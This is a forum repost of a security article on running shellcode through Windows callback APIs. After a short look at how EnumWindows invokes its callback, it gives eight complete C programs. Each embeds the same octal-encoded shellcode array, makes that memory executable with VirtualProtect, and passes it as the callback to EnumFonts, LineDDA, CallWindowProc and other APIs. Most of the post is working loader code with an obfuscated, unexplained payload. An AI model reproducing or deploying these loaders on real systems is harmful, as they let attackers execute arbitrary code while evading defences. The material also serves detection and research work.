Jump to content
Nytro

Executing Shellcode via Callbacks

Recommended Posts

Posted

Executing Shellcode via Callbacks

What is a Callback Function?

In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.

Analyzing an API

For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC.

 

1
2
3
4
BOOL EnumWindows(
  WNDENUMPROC lpEnumFunc,
  LPARAM      lParam
);

 

The function passes the parameters to an internal function called EnumWindowsWorker.

ghidra0.png?resize=640%2C393&ssl=1

The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode.

ghidra1.png?resize=640%2C218&ssl=1

By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode.

xrefs.png?resize=579%2C269&ssl=1

EnumFonts

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0);
}

 

EnumFontFamilies

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0);
}

 

EnumFontFamiliesEx

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0);
}

 

EnumDisplayMonitors

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0);
}

 

LineDDA

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0);
}

 

GrayString

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6);
}

 

CallWindowProc

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);
}

 

EnumResourceTypes

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0);
}

 

You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs.

 

Sursa: https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/

  • Thanks 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...